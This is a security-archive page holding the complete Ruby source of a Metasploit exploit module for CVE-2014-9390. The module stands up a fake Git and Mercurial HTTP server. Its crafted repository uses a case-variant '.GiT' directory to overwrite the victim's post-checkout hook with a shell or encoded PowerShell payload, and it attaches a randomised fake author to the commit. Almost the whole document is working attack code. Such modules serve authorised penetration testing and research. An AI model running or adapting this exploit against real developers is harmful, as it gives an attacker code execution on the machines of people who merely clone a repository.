seeing is believing

Malicious Git And Mercurial HTTP Server For CVE-2014-9390

Malicious Git And Mercurial HTTP Server For CVE-2014-9390
Posted Jan 2, 2015
Authored by Jon Hart | Site metasploit.com

This Metasploit module exploits CVE-2014-9390, which affects Git (versions less than 1.8.5.6, 1.9.5, 2.0.5, 2.1.4 and 2.2.1) and Mercurial (versions less than 3.2.3) and describes three vulnerabilities.

tags | exploit, vulnerability
advisories | CVE-2014-9390
MD5 | 969e63166574622849b438deb0129fc3

Malicious Git And Mercurial HTTP Server For CVE-2014-9390

Change Mirror Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Powershell

def initialize(info = {})
super(update_info(
info,
'Name' => 'Malicious Git and Mercurial HTTP Server For CVE-2014-9390',
'Description' => %q(
This module exploits CVE-2014-9390, which affects Git (versions less
than 1.8.5.6, 1.9.5, 2.0.5, 2.1.4 and 2.2.1) and Mercurial (versions
less than 3.2.3) and describes three vulnerabilities.

On operating systems which have case-insensitive file systems, like
Windows and OS X, Git clients can be convinced to retrieve and
overwrite sensitive configuration files in the .git
directory which can allow arbitrary code execution if a vulnerable
client can be convinced to perform certain actions (for example,
a checkout) against a malicious Git repository.

A second vulnerability with similar characteristics also exists in both
Git and Mercurial clients, on HFS+ file systems (Mac OS X) only, where
certain Unicode codepoints are ignorable.

The third vulnerability with similar characteristics only affects
Mercurial clients on Windows, where Windows "short names"
(MS-DOS-compatible 8.3 format) are supported.

Today this module only truly supports the first vulnerability (Git
clients on case-insensitive file systems) but has the functionality to
support the remaining two with a little work.
),
'License' => MSF_LICENSE,
'Author' => [
'Jon Hart <jon_hart[at]rapid7.com>' # metasploit module
],
'References' =>
[
['CVE', '2014-9390'],
['URL', 'https://community.rapid7.com/community/metasploit/blog/2015/01/01/12-days-of-haxmas-exploiting-cve-2014-9390-in-git-and-mercurial'],
['URL', 'http://git-blame.blogspot.com.es/2014/12/git-1856-195-205-214-and-221-and.html'],
['URL', 'http://article.gmane.org/gmane.linux.kernel/1853266'],
['URL', 'https://github.com/blog/1938-vulnerability-announced-update-your-git-clients'],
['URL', 'https://www.mehmetince.net/one-git-command-may-cause-you-hacked-cve-2014-9390-exploitation-for-shell/'],
['URL', 'http://mercurial.selenic.com/wiki/WhatsNew#Mercurial_3.2.3_.282014-12-18.29'],
['URL', 'http://selenic.com/repo/hg-stable/rev/c02a05cc6f5e'],
['URL', 'http://selenic.com/repo/hg-stable/rev/6dad422ecc5a']

],
'DisclosureDate' => 'Dec 18 2014',
'Targets' =>
[
[
'Automatic',
{
'Platform' => [ 'unix' ],
'Arch' => ARCH_CMD,
'Payload' =>
{
'Compat' =>
{
'PayloadType' => 'cmd cmd_bash',
'RequiredCmd' => 'generic bash-tcp perl bash'
}
}
}
],
[
'Windows Powershell',
{
'Platform' => [ 'windows' ],
'Arch' => [ARCH_X86, ARCH_X86_64]
}
]
],
'DefaultTarget' => 0))

register_options(
[
OptBool.new('GIT', [true, 'Exploit Git clients', true])
]
)

register_advanced_options(
[
OptString.new('GIT_URI', [false, 'The URI to use as the malicious Git instance (empty for random)', '']),
OptString.new('MERCURIAL_URI', [false, 'The URI to use as the malicious Mercurial instance (empty for random)', '']),
OptString.new('GIT_HOOK', [false, 'The Git hook to use for exploitation', 'post-checkout']),
OptString.new('MERCURIAL_HOOK', [false, 'The Mercurial hook to use for exploitation', 'update']),
OptBool.new('MERCURIAL', [false, 'Enable experimental Mercurial support', false])
]
)
end

def setup
# the exploit requires that we act enough like a real Mercurial HTTP instance,
# so we keep a mapping of all of the files and the corresponding data we'll
# send back along with a trigger file that signifies that the git/mercurial
# client has fetched the malicious content.
@repo_data = {
git: { files: {}, trigger: nil },
mercurial: { files: {}, trigger: nil }
}

unless datastore['GIT'] || datastore['MERCURIAL']
fail_with(Exploit::Failure::BadConfig, 'Must specify at least one GIT and/or MERCURIAL')
end

setup_git
setup_mercurial

super
end

def setup_git
return unless datastore['GIT']
# URI must start with a /
unless git_uri && git_uri =~ /^\//
fail_with(Exploit::Failure::BadConfig, 'GIT_URI must start with a /')
end
# sanity check the malicious hook:
if datastore['GIT_HOOK'].blank?
fail_with(Exploit::Failure::BadConfig, 'GIT_HOOK must not be blank')
end

# In .git/hooks/ directory, specially named files are shell scripts that
# are executed when particular events occur. For example, if
# .git/hooks/post-checkout was an executable shell script, a git client
# would execute that file every time anything is checked out. There are
# various other files that can be used to achieve similar goals but related
# to committing, updating, etc.
#
# This vulnerability allows a specially crafted file to bypass Git's
# blacklist and overwrite the sensitive .git/hooks/ files which can allow
# arbitrary code execution if a vulnerable Git client can be convinced to
# interact with a malicious Git repository.
#
# This builds a fake git repository using the knowledge from:
#
# http://schacon.github.io/gitbook/7_how_git_stores_objects.html
# http://schacon.github.io/gitbook/7_browsing_git_objects.html
case target.name
when 'Automatic'
full_cmd = "#!/bin/sh\n#{payload.encoded}\n"
when 'Windows Powershell'
psh = cmd_psh_payload(payload.encoded,
payload_instance.arch.first,
remove_comspec: true,
encode_final_payload: true)
full_cmd = "#!/bin/sh\n#{psh}"
end

sha1, content = build_object('blob', full_cmd)
trigger = "/objects/#{get_path(sha1)}"
@repo_data[:git][:trigger] = trigger
@repo_data[:git][:files][trigger] = content
# build tree that points to the blob
sha1, content = build_object('tree', "100755 #{datastore['GIT_HOOK']}\0#{[sha1].pack('H*')}")
@repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
# build a tree that points to the hooks directory in which the hook lives, called hooks
sha1, content = build_object('tree', "40000 hooks\0#{[sha1].pack('H*')}")
@repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
# build a tree that points to the partially uppercased .git directory in
# which hooks live
variants = []
%w(g G). each do |g|
%w(i I).each do |i|
%w(t T).each do |t|
git = g + i + t
variants << git unless git.chars.none? { |c| c == c.upcase }
end
end
end
git_dir = '.' + variants.sample
sha1, content = build_object('tree', "40000 #{git_dir}\0#{[sha1].pack('H*')}")
@repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
# build the supposed commit that dropped this file, which has a random user/company
email = Rex::Text.rand_mail_address
first, last, company = email.scan(/([^\.]+)\.([^\.]+)@(.*)$/).flatten
full_name = "#{first.capitalize} #{last.capitalize}"
tstamp = Time.now.to_i
author_time = rand(tstamp)
commit_time = rand(author_time)
tz_off = rand(10)
commit = "author #{full_name} <#{email}> #{author_time} -0#{tz_off}00\n" \
"committer #{full_name} <#{email}> #{commit_time} -0#{tz_off}00\n" \
"\n" \
"Initial commit to open git repository for #{company}!\n"
if datastore['VERBOSE']
vprint_status("Malicious Git commit of #{git_dir}/#{datastore['GIT_HOOK']} is:")
commit.each_line { |l| vprint_status(l.strip) }
end
sha1, content = build_object('commit', "tree #{sha1}\n#{commit}")
@repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
# build HEAD
@repo_data[:git][:files]['/HEAD'] = "ref: refs/heads/master\n"
# lastly, build refs
@repo_data[:git][:files]['/info/refs'] = "#{sha1}\trefs/heads/master\n"
end

def setup_mercurial
return unless datastore['MERCURIAL']
# URI must start with a /
unless mercurial_uri && mercurial_uri =~ /^\//
fail_with(Exploit::Failure::BadConfig, 'MERCURIAL_URI must start with a /')
end
# sanity check the malicious hook
if datastore['MERCURIAL_HOOK'].blank?
fail_with(Exploit::Failure::BadConfig, 'MERCURIAL_HOOK must not be blank')
end
# we fake the Mercurial HTTP protocol such that we are compliant as possible but
# also as simple as possible so that we don't have to support all of the protocol
# complexities. Taken from:
# http://mercurial.selenic.com/wiki/HttpCommandProtocol
# http://selenic.com/hg/file/tip/mercurial/wireproto.py
@repo_data[:mercurial][:files]['?cmd=capabilities'] = 'heads getbundle=HG10UN'
fake_sha1 = 'e6c39c507d7079cfff4963a01ea3a195b855d814'
@repo_data[:mercurial][:files]['?cmd=heads'] = "#{fake_sha1}\n"
# TODO: properly bundle this using the information in http://mercurial.selenic.com/wiki/BundleFormat
@repo_data[:mercurial][:files]["?cmd=getbundle&common=#{'0' * 40}&heads=#{fake_sha1}"] = Zlib::Deflate.deflate("HG10UNfoofoofoo")

# TODO: finish building the fake repository
end

# Build's a Git object
def build_object(type, content)
# taken from http://schacon.github.io/gitbook/7_how_git_stores_objects.html
header = "#{type} #{content.size}\0"
store = header + content
[Digest::SHA1.hexdigest(store), Zlib::Deflate.deflate(store)]
end

# Returns the Git object path name that a file with the provided SHA1 will reside in
def get_path(sha1)
sha1[0...2] + '/' + sha1[2..40]
end

def exploit
super
end

def primer
# add the git and mercurial URIs as necessary
if datastore['GIT']
hardcoded_uripath(git_uri)
print_status("Malicious Git URI is #{URI.parse(get_uri).merge(git_uri)}")
end
if datastore['MERCURIAL']
hardcoded_uripath(mercurial_uri)
print_status("Malicious Mercurial URI is #{URI.parse(get_uri).merge(mercurial_uri)}")
end
end

# handles routing any request to the mock git, mercurial or simple HTML as necessary
def on_request_uri(cli, req)
# if the URI is one of our repositories and the user-agent is that of git/mercurial
# send back the appropriate data, otherwise just show the HTML version
if (user_agent = req.headers['User-Agent'])
if datastore['GIT'] && user_agent =~ /^git\// && req.uri.start_with?(git_uri)
do_git(cli, req)
return
elsif datastore['MERCURIAL'] && user_agent =~ /^mercurial\// && req.uri.start_with?(mercurial_uri)
do_mercurial(cli, req)
return
end
end

do_html(cli, req)
end

# simulates a Git HTTP server
def do_git(cli, req)
# determine if the requested file is something we know how to serve from our
# fake repository and send it if so
req_file = URI.parse(req.uri).path.gsub(/^#{git_uri}/, '')
if @repo_data[:git][:files].key?(req_file)
vprint_status("Sending Git #{req_file}")
send_response(cli, @repo_data[:git][:files][req_file])
if req_file == @repo_data[:git][:trigger]
vprint_status("Trigger!")
# Do we need this? If so, how can I update the payload which is in a file which
# has already been built?
# regenerate_payload
handler(cli)
end
else
vprint_status("Git #{req_file} doesn't exist")
send_not_found(cli)
end
end

# simulates an HTTP server with simple HTML content that lists the fake
# repositories available for cloning
def do_html(cli, _req)
resp = create_response
resp.body = <<HTML
<html>
<head><title>Public Repositories</title></head>
<body>
<p>Here are our public repositories:</p>
<ul>
HTML

if datastore['GIT']
this_git_uri = URI.parse(get_uri).merge(git_uri)
resp.body << "<li><a href=#{git_uri}>Git</a> (clone with `git clone #{this_git_uri}`)</li>"
else
resp.body << "<li><a>Git</a> (currently offline)</li>"
end

if datastore['MERCURIAL']
this_mercurial_uri = URI.parse(get_uri).merge(mercurial_uri)
resp.body << "<li><a href=#{mercurial_uri}>Mercurial</a> (clone with `hg clone #{this_mercurial_uri}`)</li>"
else
resp.body << "<li><a>Mercurial</a> (currently offline)</li>"
end
resp.body << <<HTML
</ul>
</body>
</html>
HTML

cli.send_response(resp)
end

# simulates a Mercurial HTTP server
def do_mercurial(cli, req)
# determine if the requested file is something we know how to serve from our
# fake repository and send it if so
uri = URI.parse(req.uri)
req_path = uri.path
req_path += "?#{uri.query}" if uri.query
req_path.gsub!(/^#{mercurial_uri}/, '')
if @repo_data[:mercurial][:files].key?(req_path)
vprint_status("Sending Mercurial #{req_path}")
send_response(cli, @repo_data[:mercurial][:files][req_path], 'Content-Type' => 'application/mercurial-0.1')
if req_path == @repo_data[:mercurial][:trigger]
vprint_status("Trigger!")
# Do we need this? If so, how can I update the payload which is in a file which
# has already been built?
# regenerate_payload
handler(cli)
end
else
vprint_status("Mercurial #{req_path} doesn't exist")
send_not_found(cli)
end
end

# Returns the value of GIT_URI if not blank, otherwise returns a random .git URI
def git_uri
return @git_uri if @git_uri
if datastore['GIT_URI'].blank?
@git_uri = '/' + Rex::Text.rand_text_alpha(rand(10) + 2).downcase + '.git'
else
@git_uri = datastore['GIT_URI']
end
end

# Returns the value of MERCURIAL_URI if not blank, otherwise returns a random URI
def mercurial_uri
return @mercurial_uri if @mercurial_uri
if datastore['MERCURIAL_URI'].blank?
@mercurial_uri = '/' + Rex::Text.rand_text_alpha(rand(10) + 6).downcase
else
@mercurial_uri = datastore['MERCURIAL_URI']
end
end
end

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